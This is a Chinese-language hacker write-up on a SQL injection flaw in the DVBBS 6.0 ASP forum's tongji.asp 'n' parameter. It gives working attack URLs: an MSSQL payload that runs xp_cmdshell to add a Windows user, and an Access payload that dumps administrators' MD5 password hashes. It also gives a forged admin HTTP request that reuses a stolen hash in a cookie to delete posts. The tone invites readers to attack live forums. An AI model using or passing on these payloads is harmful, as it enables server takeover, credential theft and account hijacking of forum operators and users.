原创:PsKey(PsKey)
来源:灰色轨迹
PsKey
www.isgrey.com
>>>Dedicated This Scrap To CaoJing<<<
涉及版本:
^^^^^^^^^^
DVBBS VER 6.0.0 &DVBBS VER 6.0.0 SP1&DVBBS VER 6.0.0 SP2
//低版本没看,反正低版本的问题成堆,也不少这一个-)
描述:
^^^^^^
DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,进而威胁论坛或服务器安全。
具体:
^^^^^^
DVBBS经analysist加固后,消除了大批安全隐患,并引入了很多的安全措施,如果大家对编写安全的Asp代码有兴趣,DVBBS将是一个很好的参考!虽然Asp语法简单,出现问题的情况也就那么几种。小型Asp程序中,程序员只要稍微有点安全意识就可以避免出现漏洞;但在较大规模的纷杂的程序中,难免出现遗漏,而只要有一个缺陷存在,系统安全就得不到保障。说了这么多废话,我们转入正题,问题其实很简单,看代码:
---------------------------------------------------------
6 if request("orders")=1 then
7 call tongji()
8 elseif request("orders")=2 then
9 call topuser()
...
60 sub topuser()
61 set rs=server.createobject("adodb.recordset")
62 sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate from [user] order by article desc"
---------------------------------------------------------
很明显吧?(你怎么就没发现呢~呵呵),变量 n 没有经任何检查就直接放到SQL查询中了。
攻击方法:
^^^^^^^^^^
1:MSSQL
如果是MSSQL版的,还客气什么,直接提交如下URL:
http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..xp_cmdshell%20'net%20user%20love%20hack%20/add'%20--
顺利的话,对方系统便会添加love/hack用户,顺便还可以看到论坛管理员的经MD5加密后的密码字符串(FT,系统用户都添加了,论坛管理员算什么?),由于本文不是sql injection教学,就此打住。
2:ACCESS
如果是ACCESS版的,哈哈,很多朋友紧张起来了,看看tongji.asp下面的代码:
---------------------------------------------------------
66 response.write "document.write('□');"
67 response.write "document.write('"&rs(0)&"');"
68 response.write "document.write(' ');"
---------------------------------------------------------
看见有趣的东西了没有?没错,就是 rs(0) ,如果我们指定 “n=50 userpassword,”(n的值随便选择,看你想偷看多少用户的密码啦),嘿嘿,现在rs(0) 就不是 username 而是 userpassword了,例如:
http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2
返回:
---------------------------------------------------------
document.write('□');document.write('admin');document.write('
');document.write('□');document.write('ss');document.write('
');
---------------------------------------------------------
http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2%20userpassword,
返回:
---------------------------------------------------------
document.write('□');document.write('18e071ccfb2d1c99');document.write('
');document.write('□');document.write('acd5fdfea300e88a');document.write('
');
---------------------------------------------------------
哦,原来admin的密码是18e071ccfb2d1c99,但是经过MD5加密的,别急,用同样的办法你可以把admin的userid、回答问题....全部搞到手。
得到这些能干什么?(准备暴力破解可以略过不看)
曾经看到一篇奇文《得到论坛数据库后如何快速夺取管理员密码<对动网>》,内容大致是:自己安装一个动网论坛,把得到的加过密的16位密码复制下来,贴到你刚才注册的ID的密码处,用找回密码功能就可以了,只要提示问题答案填写正确,密码就发到你的信箱了。
基本上是鬼扯,但作者视MD5如草芥的魄力不得不令小弟佩服。
在老版本的动网中,得到这些信息后可以直接修改用户密码,但在6.0中消除了这一隐患,试看 modifypsw.asp相关代码:
---------------------------------------------------------
elseif md5(trim(request("oldpsw")))<>trim(rs("userpassword")) then
errmsg=errmsg+" "+"输入的旧密码错误,请重新输入。"
founderr=true
exit sub
---------------------------------------------------------
哈哈,不行了吧!
看看管理员操作论坛时到底需要些什么,举个例子,删帖的时候:
---------------------------------------------------------
POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer:http://www.target.com/asp/dvbbs/admin_postings.asp?action=删除主题&BoardID=2&ID=2
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
Host: www.target.com
Content-Length: 124
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0
title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
---------------------------------------------------------
明白了吧,这里头该有的我们都可以得到,大家要是有时间就帮论坛管理员删删那些垃圾帖吧:)
还可以做什么?动动脑子,你可以做到更多。
|